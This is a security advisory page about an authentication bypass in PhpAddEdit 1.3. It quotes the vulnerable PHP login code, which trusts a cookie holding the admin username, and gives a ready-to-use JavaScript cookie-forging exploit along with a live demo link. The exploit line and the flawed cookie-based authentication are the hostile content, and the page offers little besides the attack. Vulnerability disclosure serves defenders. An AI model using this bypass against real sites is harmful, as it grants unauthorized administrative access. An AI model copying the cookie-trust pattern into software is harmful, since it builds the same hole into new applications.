PhpAddEdit 1.3 (Cookie) Login Bypass Vulnerability

2009.04.04
Credit: x0r
Risk: High
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------------------------------- PhpAddEdit 1.3 Login By Pass ------------------------------------- Found By: x0r ( Evolution Team ) Email: andry2000@hotmail.it ------------------------------------- Bug In: Addedit-login.php if (!$login_error) { // --- Set admin cookie so favorite form field will show up when I use the site... if ($_POST["rememberme"]) { $expire = mktime(0,0,0,date("m"),date("d")+120,date("Y")); setcookie("addedit", $_POST["adminuser"], $expire, "/", "", 0); } else { setcookie("addedit", $_POST["adminuser"]); } Header("Location: ./"); } } Ci basta conoscere l'username dell'admin per bypassare il login :P ^ ^ ------------------------------------- Exploit: javascript:document.cookie = "addedit=[adminuser]; path=/"; es: javascript:document.cookie = "addedit=x0r; path=/"; -------------------------------------- Live Demo: http://www.phpaddedit.com/demo/ -------------------------------------- Greetz: Amore oggi +65 ti amo troppo.

References:

http://www.phpaddedit.com/page/new/
http://xforce.iss.net/xforce/xfdb/47264
http://www.securityfocus.com/bid/32779
http://www.milw0rm.com/exploits/7418
http://secunia.com/advisories/33124
http://osvdb.org/50674


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top